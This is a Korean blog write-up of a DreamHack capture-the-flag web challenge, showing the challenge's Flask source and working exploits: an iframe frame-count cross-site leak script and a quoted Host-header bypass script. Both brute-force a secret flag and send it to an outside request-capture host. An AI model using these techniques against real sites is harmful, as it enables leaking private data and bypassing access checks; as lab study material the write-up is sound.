매우매우매우 화난다
쉬운문젠데 시간을 너무많이 썼다.
소스코드부터 보자
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.common.exceptions import TimeoutException
from urllib.parse import urlparse
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from hashlib import md5
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
notes = {
(FLAG, True),
("Hello World", False),
("DreamHack", False),
("carpe diem, quam minimum credula postero", False)
}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get(url)
except TimeoutException as e:
driver.quit()
return True
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
@app.route("/")
def index():
return render_template('index.html')
@app.route('/search')
def search():
query = request.args.get('query', None)
if query == None:
return render_template("search.html", query=None, result=None)
for note, private in notes:
if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
continue
if query != "" and query in note:
return render_template("search.html", query=query, result=note)
return render_template("search.html", query=query, result=None)
@app.route("/submit", methods=["GET", "POST"])
def submit():
if request.method == "GET":
return render_template("submit.html")
elif request.method == "POST":
url = request.form.get("url", "")
if not urlparse(url).scheme.startswith("http"):
return '<script>alert("wrong url");history.go(-1);</script>'
if not read_url(url):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
app.run(host="0.0.0.0", port=8000)
127.0.0.1일 경우 FLAG 내용을 확인 가능하다.
그러나 여기에 아주 큰 허점이 있는데 일단 이건 좀이따 살펴보고 정석은 크롬봇을 사용해서 접근 해줘야한다.
그리고 search.html을 살펴보겠다.
{% extends "base.html" %}
{% block title %}Search{% endblock %}
{% block head %}
{{ super() }}
{% endblock %}
{% block content %}
<h2>Search</h2><br/>
{% if result %}
<h3>Searching "{{ query }}" found</h3>
<iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
<h3> Searching "{{ query }}" not found</h3>
{% else %}
<form method="GET" class="form-inline">
<div class="form-group">
<label class="sr-only" for="query">/</label>
<div class="input-group">
<div class="input-group-addon">Query: </div>
<input type="text" class="form-control" id="query" name="query" placeholder="DreamHack">
</div>
</div>
<button type="submit" class="btn btn-primary">Search</button>
</form>
{% endif %}
{% endblock %}
만약 값이 있으면 iframe에 값을 넣고 없으면 not found가 뜬다.
만약 이게 상태코드 200, 404를 내뱉으면 script src에 집어넣어서 확인할 텐데 모든 경우에 200을 내니 그건 안되고
접근 가능한건 iframe이다.
만약 FLAG이면 iframe태그가 하나 생성된다는걸 활용해야한다.
그러면 저 search url을 iframe src에다가 집어넣으면 일단 200 코드를 내니 iframe.onload가 확정적으로 불러와질거고 그 iframe 안에 frame이 몇개 있는지 확인해서 0개 이상 있으면 불러와진걸 확인 가능하다.
이때 frame 갯수는 iframe.contentWindow.frames.length로 접근 가능하다.
그다음 코드만 짜면 되는데... js 코드를 딱히 짜본적이 없는터라 비동기 만드는게 힘들었다.
그리고 iframe을 생성해서 넣는게 아닌 iframe태그를 만들어 놓고 iframe 태그를 갖고와 거기에 넣는게 더 효율적이다.
처음에 iframe을 생성하는 코드까지 짰는데 봇 유효기간인 3초에 시간 만료가 되어서 값을 못갖고왔다.
<iframe id="iframe"></iframe>
<img id="img" />
<script>
async function fetchData(q) {
return await new Promise((resolve) => {
const iframe = document.getElementById("iframe");
iframe.src = `http://127.0.0.1:8000/search?query=${q}`;
iframe.onload = () => {
if (iframe.contentWindow.frames.length != 0) {
resolve(true);
} else {
resolve(false);
}
};
});
}
async function findFlag() {
let flag = "DH{22d1445ad68e194e044a16dc644371f3}";
const chars =
"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_[]}";
while (true) {
let found = false;
for (let c of chars) {
if (await fetchData(flag + c)) {
flag += c;
location.href = `https://hvqdsyg.request.dreamhack.games/${flag}`;
if (c === "}") {
return;
}
found = true;
break;
}
}
}
}
findFlag();
</script>
대충 값을 돌려가면서 frame 갯수를 찾다가 0이 아니면 dreamhack tools 서버로 요청을 보낸다.
그러면 한번엔 아니더라도 여러번 보내서 flag를 찾을 수 있다.
그리고 서버 코드는 아래와 같다.
from flask import Flask, render_template
app = Flask(__name__)
@app.route('/')
def home():
return render_template('index.html')
app.run(host="0.0.0.0", port=9000)
그다음은 봇에다가 내 서버ip:9000 보내주고 노가다 뛰면 된다.
+언인텐
언인텐을 알아보겠다.
if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
127.0.0.1은 header를 조작해서 bypass 할 수 있다. 처음엔 remote_addr 까진 조작 못하는 줄 알았는데 이것도 조작 가능한건가 보다
from flask import Flask,request, render_template
import requests
app = Flask(__name__)
CHALL_URL = "http://host3.dreamhack.games:20784/"
def search(value):
FLAG = value
for i in range(32):
for char in '0123456789abcdef':
res = requests.get(CHALL_URL + f'/search?query={FLAG + char}', headers={'HOST':'127.0.0.1:8000'}).text
print(request.remote_addr)
if "not found" in res:
print(f'[+] Not Found : {FLAG + char}')
else:
FLAG += char
requests.get(f'https://hvqdsyg.request.dreamhack.games/?flag={FLAG}')
break
@app.route("/", methods=['GET', 'POST'])
def index():
if request.method == "GET":
search('DH{')
return 'Done'
if __name__ == '__main__':
app.run(host="0.0.0.0", port="9999")
요거는 드림핵에 올라온 다른 분 풀이인데 참고차 넣어봤다.
이러면 위에꺼보다 훨씬 쉽게 flag를 획득 가능하다.
'Web Hacking > DreamHack' 카테고리의 다른 글
[DreamHack] WEB_2021A_Medium (0) | 2024.08.20 |
---|---|
[DreamHack] [wargame.kr] adm1nkyj (1) | 2024.07.24 |
[DreamHack] CSTI (Client Side Template Injection) (0) | 2024.07.18 |
[DreamHack] CSRF Advanced (0) | 2024.07.18 |
[DreamHack] CSP Bypass Advanced + [Webhacking.kr] BABY (0) | 2024.07.17 |